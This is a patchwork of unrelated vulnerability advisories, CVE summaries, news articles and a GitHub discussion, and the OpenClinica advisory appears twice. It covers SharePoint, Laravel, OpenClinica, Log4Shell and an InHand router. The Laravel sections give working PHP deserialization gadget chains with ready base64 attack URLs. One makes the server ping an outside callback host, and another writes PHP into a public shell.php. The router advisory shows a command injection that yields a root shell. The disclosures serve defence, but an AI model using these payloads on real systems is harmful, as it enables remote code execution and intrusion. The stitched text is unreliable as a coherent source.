The AGIL WordPress plugin through 1.0 accepts all zip files and automatically extracts the zip file without validating the extracted file type. Allowing high privilege users such as admin to upload an arbitrary file like PHP, leading to RCE

CVE-2021-25119

Deserialization vulnerabilities are hard to fix

Ben Dickson 16 May 2022 at 13:38 UTC

Deserialization vulnerabilities are hard to fix

A security researcher found a fresh way to exploit a recently patched deserialization bug in Microsoft SharePoint and stage remote code execution (RCE) attacks.

The flaw, a variant on an issue that was patched in February, uses the site creation features of SharePoint, Microsoft’s intranet platform, to upload and run malicious files on the server.

Many languages use serialization and deserialization to pass complex objects to servers and between processes. If the deserialization process is insecure, an adversary will be able to exploit it to send malicious objects and run them on the server.

Nguyễn Tiến Giang (Jang), a security researcher at StarLabs, found that when SharePoint servers are configured in a certain way, they will be prone to deserialization attacks that can lead to RCE.

**Deserialization part deux**

In a detailed blog post, Jang explains that an adversary can exploit the bug by creating a SharePoint List on the server and uploading a malicious gadget chain with the deserialization payload as a PNG attachment.

By sending a render request for the uploaded file, the attacker will trigger the bug and execute the payload on the server.

“A successful attack may give the attacker the ability to get code execution in the target server with privilege of running w3wp.exe process,” Jang told The Daily Swig, referring to the IIS worker process that runs the web application.

YOU MAY ALSO LIKE Brace of Icinga web vulnerabilities ‘easily chained’ to hack IT monitoring software

Fortunately, the flaw can only be exploited by authenticated adversaries and when the application is in a configuration that turned off by default.

“Luckily, this bug doesn’t exist in a SharePoint with default configuration,” Jang said. “It requires a user with ‘Create Sub-site’ privilege and the State-Service in the target server must be enabled.”

Microsoft patched the bug (CVE-2022-29108) in May’s Patch Tuesday release.

**‘Old Wine, New Bottle’**

Jang found the bug while analyzing CVE-2022-22005. It turned out that there was another way to trigger the same bug.

“Actually, this bug is very easy to \[spot\]. There was an analysis blog post about it in March. Just follow the instructions in that blog post and people can easily spot the new variant of CVE-2022-22005,” Jang said.

Catch up with the latest Microsoft security news

Jang has described the bug as “Old Wine in a New Bottle” and tweeted a meme based on this theme.

Nguyễn Đình Hoàng (hir0ot), who penned a detailed analysis of CVE-2022-22005, told The Daily Swig that there are usually two ways to fix deserialization bugs: limiting endpoints that deserialize untrusted data or using a whitelist-based type binder.

“Both are difficult to implement effectively in the real world, especially when serialization/deserialization happens in the core protocol, framework, or application that was developed so many years ago,” hir0ot said.

“And the fix also must not impact the functional working of the application. Any fix can easily lead to a bug.”

RECOMMENDED Marcus Hutchins on WannaCry – ‘Still to this day it feels like it was all a weird dream’

SharePoint RCE bug resurfaces three months after being patched by Microsoft

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

**Build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php
namespace Illuminate\\Contracts\\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = \[\];
        protected $handlers = \[\];
        protected $queueResolver;
        function \_\_construct()
        {
            $this\->queueResolver = "system";

        }
    }
}

namespace Illuminate\\Broadcasting{

    use Illuminate\\Contracts\\Queue\\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function \_\_construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function \_\_construct()
        {
            $this\->event = new BroadcastEvent();
            $this\->event\->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";
            $this\->events = new \\Illuminate\\Bus\\Dispatcher();
        }
    }
}
namespace{
    $a = new \\Illuminate\\Broadcasting\\PendingBroadcast();
    echo base64\_encode(serialize($a));
}

result :

    Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=
    

**attack**

http://127.0.0.1:1080/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

So, why was a CVE issued for this?

I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

> I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

> > I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?
> 
> @caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.
> 
> A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.
> 
> Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

Thank you so much for the explanation. What confused me is that the ping command is entered from within your backend code. Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

Are you aware of any instances in "official" (as in code maintained by the Laravel org) codebases where this is used? From your reply I know that my codebase does not contain this vulnerability, but if it is present in say Laravel Jetstream, that's something that should be noted.

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.

It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

> Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

That is correct, by using the PoC to generate a base64 payload we can pass that to the example route. I have not personally reviewed all the laravel maintained codebases, but anywhere unserialize accepts user controlled input would be vulnerable.

> The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.
> 
> It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

So having code execution on unserialize is a feature ?

> So having code execution on unserialize is a feature ?

The official PHP docs warn of this.  

This also reflects Taylor Otwell's response when I asked if he was aware of this CVE.

> On Tuesday, May 17th, 2022 at 12:06, taylorotwell taylor@laravel.com wrote:
> 
> Passing unsanitized user input to unserialize is never safe in PHP.

Of note: Snyk points to this being the vulnerable code in question.

> Affected versions of this package are vulnerable to Deserialization of Untrusted Data via an unserialize pop chain in \_\_destruct and dispatch($command).

@pasterp If you deserialise untrusted data, it's your fault for doing that. If there is whatever POP chain in your code, you may allow an attacker to execute arbitrary code, but the POP chain just makes the vulnerability worse, it DOES NOT constitute the vulnerability.

To make an example, if you have a stack buffer overflow, you can exploit it with a ROP chain, but the vulnerability is not the ROP chain, it is the bloody stack buffer overflow.  
Saying that the POP chain is the vulnerability is like saying that the ROP chain is the vulnerability, and that's false.

Calling unserialise on untrusted data is a vulnerability.

Copy link

** **pqlx** commented May 17, 2022 •**

I think there should be some serious thought about revoking this CVE.

As pointed out, there is no security boundary being breached here. Passing arbitrary data to unserialize has always been classified as "unsafe". That the Laravel core framework just happens to have a few classes that you could readily use in such a scenario does not constitute a vulnerability on their part.

Besides, there's no real fix for people using unserialize inappropriately anyway. As @klezVirus points out, it's analogous to something like ROP gadgets. (Framework) developers can keep patching their classes to not do stuff in e.g. __construct or __destruct, but besides making code more complex (and maybe eliminating low-hanging fruit), there are always going to be more complex chains that give the attacker more control. It is a fundamental issue with unserialize.

> So having code execution on unserialize is a feature ?

No it's not. But it's not necessarily a vulnerability either. If someone were to pass unsafe user input into an exec() call, that would be a vulnerability in that persons code, but it's not a vulnerability within PHP.

If there are any usages in the Laravel core framework that actually has code akin to this, then yeah it should be a CVE. But since it does not seem to be so, this is not any more of a vulnerability in Laravel as the following is:

// Obviously DON'T actually do this in a real app
Route::get('/', function (\\Illuminate\\Http\\Request $request) {
    echo shell\_exec($request\->input('name'));
});

While my example above for sure is a vulnerability in my code (if it was actually deployed), it's not a vulnerability within Laravel, or even PHP.

@caendesilva I'd argue comparing exec to unserialize is an apples to oranges comparison and not really the best analogy for what is happening here.

While I agree it's not best practice to pass untrusted user input to unserialize, doing that alone does not automatically create a path for exploitation.

So just to clarify as we also got the snyk alert. The vulnerability here is that there exists a class in Laravel which will do code execution when called, but that the only route to call it is via unserialize which is not passed untrusted user input in laravel itself. So it isn't reachable unless a user (developer) calls unserialize() on untrusted input which is bad idea anyway (according to the docs and common sense).

I'm here too because of snyk. Is there any solution to this?

> I'm here too because of snyk. Is there any solution to this?

@oreillysean Check your code for any areas that might use unserialize and accept user input. If none are found you can mark it as ignored in Synk since it's not applicable to you.

this is for Laravel 9.1.8 only ?  
if yes, Snyk raised a false alert for my 8.83.12 Laravel ?

> @GlitchWitch yes I agree with you. However would this not fix the issue as stated in the CVE oreillysean/framework@57c5f57

I haven't had a chance to test, but perhaps it would be worth submitting your proposed fix as a PR for the Laravel team to review.

CVE-2022-30778: Laravel 9.1.8 POP chain · Issue #1 · 1nhann/vulns

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttp\Cookie\FileCookieJar.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30779

**build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php

namespace GuzzleHttp\\Cookie{
    class SetCookie
    {
        private static $defaults = \[
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        \];
        function \_\_construct()
        {
            $this\->data\['Expires'\] = '<?php phpinfo();?>';
            $this\->data\['Discard'\] = 0;
        }
    }
    class CookieJar{
        private $cookies = \[\];
        private $strictMode;
        function \_\_construct()
        {
            $this\->cookies\[\] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function \_\_construct()
        {
            parent::\_\_construct();
            $this\->filename = "d:/var/www/untitled/public/shell.php";
            $this\->storeSessionCookies = true;
        }
    }
}
namespace{
    $a = new \\GuzzleHttp\\Cookie\\FileCookieJar();
    echo base64\_encode(serialize($a));
}

result :

    TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9
    

**attack**

http://127.0.0.1:1080/?ser=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9

CVE-2022-30779: Laravel 9.1.8 POP chain2 · Issue #2 · 1nhann/vulns

Webmin through 1.991, when the Authentic theme is used, allows remote code execution when a user has been manually created (i.e., not created in Virtualmin or Cloudmin). This occurs because settings-editor_write.cgi does not properly restrict the file parameter.

CVE-2022-30708: Webmin

CVE-2022-30708

OpenClinica is an open source software for Electronic Data Capture (EDC) and Clinical Data Management (CDM). OpenClinica prior to version 3.16 is vulnerable to path traversal in multiple endpoints, leading to arbitrary file read/write, and potential remote code execution. There are no known workarounds. This issue has been patched and users are recommended to upgrade.

**Package**

OpenClinica (None)

**Patched versions**

3.13.1, 3.14.1, 3.16.2

**Impact**

The following vulnerabilities were identified by CodeQL and can be found here:

*   https://lgtm.com/projects/g/OpenClinica/OpenClinica/alerts/?mode=list&tag=security&id=java%2Fpath-injection

A summary of the above can be found below.

The following endpoints contain path traversal vulnerabilities.

**Arbitrary File Read Vulnerabilities**

They allow an attacker to arbitrarily download any file from a system running OpenClinica. This allows an attacker to steal any information/files stored on a system running OpenClinica.

The following endpoints are impacted:

*   /forms/migrate/{filename}/downloadLogFile
    *   Source:
        
        File fileToDownload = new File(logFileName);
        
*   /DownloadVersionSpreadSheet via the fileName form post parameter
    *   For users with the permissions: 'system admin', STUDYDIRECTOR, or COORDINATOR
    *   Source:
        
        excelFile = new File(dir + excelFileName);
        
        // backwards compat
        
        File oldExcelFile = new File(dir + oldExcelFileName);
        

**Arbitrary File Write Vulnerabilities**

The following allow an attacker to upload any file they wish to any directory they wish on a system running OpenClinica. This can lead to remote code execution in certain environments.

*   /openrosa/{studyOID}/submission by modifying the studyOID with a path traversal payload.
    *   Source:
        
        if (!new File(dir).exists()) new File(dir).mkdirs();
        

**Patches**

6f864e8

**Workarounds**

_Is there a way for users to fix or remediate the vulnerability without upgrading?_  
No

**References**

*   https://owasp.org/www-community/attacks/Path\_Traversal

CVE-2022-24830

**Patched versions**

3.13.1, 3.14.1, 3.16.2

**Impact**

The following vulnerabilities were identified by CodeQL and can be found here:

*   https://lgtm.com/projects/g/OpenClinica/OpenClinica/alerts/?mode=list&tag=security&id=java%2Fpath-injection

A summary of the above can be found below.

The following endpoints contain path traversal vulnerabilities.

**Arbitrary File Read Vulnerabilities**

They allow an attacker to arbitrarily download any file from a system running OpenClinica. This allows an attacker to steal any information/files stored on a system running OpenClinica.

The following endpoints are impacted:

*   /forms/migrate/{filename}/downloadLogFile
    *   Source:
        
        File fileToDownload = new File(logFileName);
        
*   /DownloadVersionSpreadSheet via the fileName form post parameter
    *   For users with the permissions: 'system admin', STUDYDIRECTOR, or COORDINATOR
    *   Source:
        
        excelFile = new File(dir + excelFileName);
        
        // backwards compat
        
        File oldExcelFile = new File(dir + oldExcelFileName);
        

**Arbitrary File Write Vulnerabilities**

The following allow an attacker to upload any file they wish to any directory they wish on a system running OpenClinica. This can lead to remote code execution in certain environments.

*   /openrosa/{studyOID}/submission by modifying the studyOID with a path traversal payload.
    *   Source:
        
        if (!new File(dir).exists()) new File(dir).mkdirs();
        

**Patches**

6f864e8

**Workarounds**

_Is there a way for users to fix or remediate the vulnerability without upgrading?_  
No

**References**

*   https://owasp.org/www-community/attacks/Path\_Traversal

A brand-new attack vector lays open enterprise data lakes, threatening grave consequences for AI use cases like telesurgery or autonomous cars.

Enterprise data lakes are filling up as organizations increasingly embrace artificial intelligence (AI) and machine learning — but unfortunately, these are vulnerable to exploitation via the Java Log4Shell vulnerability, researchers have found.

Generally, organizations are focused on ingesting as many data points for training an AI or algorithm that they can, with an eye toward privacy — but all too often, they're skipping over hardening the security of the data lakes themselves.

According to research from Zectonal, the Log4Shell bug can be triggered once it is ingested into a target data lake or data repository via a data pipeline, bypassing conventional safeguards, such as application firewalls and traditional scanning devices.

As with the original attacks targeting the ubiquitous Java Log4j library, exploitation requires only a single string of text. An attacker could simply embed the string within a malicious big-data file payload to open up a shell inside the data lake, and from there can initiate a data-poisoning attack, researchers say. And, since the big-data file carrying the poison payload is often encrypted or compressed, the difficulty of detection is much greater.

“The simplicity of the Log4jShell exploit is what makes it so nefarious,” says David Hirko, founder at Zectonal. “This particular attack vector is difficult to monitor and identify as a threat due to the fact that it blends in with normal operations of data pipelines, big-data distributed systems, and machine-learning training algorithms."

**Leveraging RCE Exploits to Access Data Lakes  
**One of the ways to accomplish this attack is by targeting vulnerable versions of the no-code, open source extract-transform-load (ETL) software application — one of the most popular tools for populating data lakes. An attacker could access the ETL service running in a private subnet from the public Internet via a known remote code execution (RCE) exploit, researchers explain in the report.

The Zectonal team put together a working proof-of-concept (PoC) exploit that used this vector, successfully gaining remote access to subnet IP addresses that were part of a virtual private cloud hosted by a public cloud provider.

While ETL patched the RCE issue last year, the components have been downloaded millions of times, and it appears that security teams have lagged in applying the fix. The Zectonal team was successful in "triggering an RCE exploit for multiple unpatched releases of the ETL software that spanned a two-year period," according to the report, shared with Dark Reading prior to publication.

"This attack vector isn't as simple as just kind of sending a text string to a Web server," Hirko says, noting the need to penetrate the data supply chain. "An attacker needs to compromise a file somewhere upstream and then have it be flowed into the target data lake. Say you were considering weather data — you might be able to manipulate a file from a weather sensor so that it contained this particular string."

This particular exploit and vulnerability has patches available, but there are likely many different avenues to achieving this kind of Log4Shell attack.

"There are probably many, many previously unknown or undisclosed vulnerabilities that allow the same thing," Hirko says. "This is one of the first data poisoning-specific attack vectors that we've seen, but we believe that data poisoning as a subset of AI poisoning is going to be one of the new attack vectors of the future."

**Real-World Consequences  
**So far, Zectonal hasn't seen such attacks in the wild, but researchers hope the threat is on security teams' radar screens. Such attacks may be rare, but they can have outsized consequences. For instance, consider the case of autonomous vehicles, which rely on AI and sensors to navigate city streets.

"Automakers are training their AI to look at stoplights, to know when to stop, slow down, or go in the classic red, yellow, green format," Hirko explains. "If you were to start poisoning your data lake that was training your AI, it's possible to manipulate the AI software to behave in unforeseen ways. Perhaps your car unintentionally gets trained to go when the traffic light turns red and stop when it turns green. So, that's the type of attack vector that we suspect we'll be seeing in the future."

**Security Protections Lag  
**The risks are gaining a higher profile among practitioners, Hirko tells Dark Reading — many of whom understand the danger but are at a loss for how to tackle it. Among the challenges is the fact that approaching the problem requires a new way of implementing security, as well as new tools.

"We were able to send the poisoned payload through a pretty common data pipeline," Hirko says. "Traditionally, these kinds of files and data pipelines don't come through your standard front-door set of firewalls. How data comes into the enterprise, how data comes into the data lake, hasn't really been part of the classic security posture of defense in depth or zero trust. If you're using any of the major cloud providers, data that comes in from an object storage bucket won't necessarily come through that firewall."

He adds that the file formats that these types of attacks can be bundled into are relatively new and somewhat obscure — and because they're specific to the big data and AI world, they're not as easy to scan with typical security tools, which are made to scan documents or spreadsheets.

Thus, for their part, security vendors need to focus on the development of different types of products to gain that further visibility, he notes.

"Companies are looking at the quality of the data, components, individual data points — and it just makes sense to look at the security vulnerability of that data as well," Hirko says. "We suspect that data observability will be built into quality assurance as well as data security. This is an emerging kind of data and AI security domain."

Log4Shell Exploit Threatens Enterprise Data Lakes, AI Poisoning

An OS command injection vulnerability exists in the console infactory_net functionality of InHand Networks InRouter302 V3.5.37. A specially-crafted series of network requests can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.

**Summary**

An OS command injection vulnerability exists in the console infactory\_net functionality of InHand Networks InRouter302 V3.5.37. A specially-crafted series of network requests can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.

**Tested Versions**

InHand Networks InRouter302 V3.5.37

**Product URLs**

InRouter302 - https://www.inhandnetworks.com/products/inrouter300.html

**CVSSv3 Score**

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**Details**

The InRouter302 is an industrial LTE router. It features remote management functionalities and several security protection mechanism, such as: VPN technologies, firewall functionalities, authorization management and several other features.

The InRouter302 offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console.

Here is the prompt after the login:

    ************************************************
            Welcome to Router console
        Inhand
        Copyright @2001-2020, Beijing InHand Networks Co., Ltd.
        http://www.inhandnetworks.com
    ------------------------------------------------
    Model                : IR302-WLAN
    Serial Number        : RF3022141057203
    Description          : www.inhandnetworks.com
    Current Version      : V3.5.37
    Current Bootloader Version : 1.1.3.r4955
    ------------------------------------------------
    get help for commands
    ------------------------------------------------
    type '?' for detail help at any point
    ================================================
    help           -- get help for commands
    language       -- Set language
    show           -- show system information
    exit           -- exit current mode/console
    ping           -- ping test
    comredirect    -- COM redirector
    telnet         -- telnet to a host
    traceroute     -- trace route to a host
    enable         -- turn on privileged commands
    infactory      -- factory mode
    Router>
    

The infactory command permits, provided the correct password, the access to the factory mode view. This mode permits to change the configuration and perform various tests. The factory mode view:

    Router> infactory 
    input password: 
    Router(factory)# 
    get help for commands
    ------------------------------------------------
    type '?' for detail help at any point
    ================================================
    help           -- get help for commands
    language       -- Set language
    exit           -- exit current mode/console
    reboot         -- reboot system
    factory-model  -- hardware model configure
    modem          -- modem test
    reset-key      -- check the status of the reset button
    com            -- detecting serial ports
    port           -- FCT network port test
    net            -- complete machine network port test
    led            -- LED lights test
    wlan           -- Wi-Fi test
    mem            -- check memory
    hw_wdg         -- check the hardware watchdog status
    dio            -- detect digital I/O
    stategridsec   -- detect stategrid security chip
    Router(factory)# 
    

This mode offers several functionalities. For instance, the net functionality allows to essentially execute a ping command specifying its interface parameter.

The net_functionality:

    undefined4 net_functionality(undefined4 param_1,int args)
    
    {
        [...]
        
        argument_list_ptr[0] = args;
        [...]
        if (argument_list_ptr[0] != 0) {
            first_arg = (char *)maybe_get_next_token(argument_list_ptr);
            if (*first_arg != '\0') {
                is_init = strncmp(first_arg,"init",4);
                if (is_init == 0) {
                    [...]
                }
                is_test = strncmp(first_arg,"test",4);
                if ((is_test == 0) &&
                    (interface = (char *)maybe_get_next_token(argument_list_ptr), 
                    interface != (char *)0x0)) {                                                            [1]
                    max_args = 3;
                    packets_count = 0;
                    timeout_ = 0;
                    target_ip = (char *)0x0;
                    [... here are parsed 3 optional parameters ...]
                    snprintf((char *)&ping_command,0x80,"ping -I %s -c %d -W %d %s",interface,packets_count,
                            timeout,target_ip);                                                             [2]
                    popen_stream = popen((char *)&ping_command,"r");                                        [3]
                    [...]
    }
    

If the first provided argument is test, then the second one, parsed at [1], will be later used at [2] to form the string ping -I <second_arg> -c <packets_count> -W <timeout> <target_ip>. This string will later be used at [3] as argument of the popen function.

The second argument is not properly sanitized, and a command injection can occur at [3]. An attacker, able to reach the net functionality, would be able to obtain a root shell.

**Exploit Proof of Concept**

Provided the command net test ;/bin/sh;, in the factory mode view, a root shell will be obtained:

    Router(factory)# net test ;/bin/sh;
    ping: option requires an argument -- I
    BusyBox v1.26.2 (2022-02-23 16:03:56 CST) multi-call binary.
    
    Usage: ping [OPTIONS] HOST
    help
    Built-in commands:
    ------------------
        . : [ [[ break cd chdir continue echo eval exec exit export false
        hash help history let local printf pwd read readonly return set
        shift source test times trap true type ulimit umask unset wait
    

**Vendor Response**

The vendor has updated their website and uploaded the latest firmware on it. https://inhandnetworks.com/product-security-advisories.html https://www.inhandnetworks.com/products/inrouter300.html#link4

https://www.inhandnetworks.com/upload/attachment/202205/10/InHand-PSA-2022-01.pdf

**Timeline**

2022-03-30 - Vendor Disclosure  
2022-05-10 - Public Release  
2022-05-10 - Vendor Patch Release  

Discovered by Francesco Benvenuto of Cisco Talos.

Tag

#rce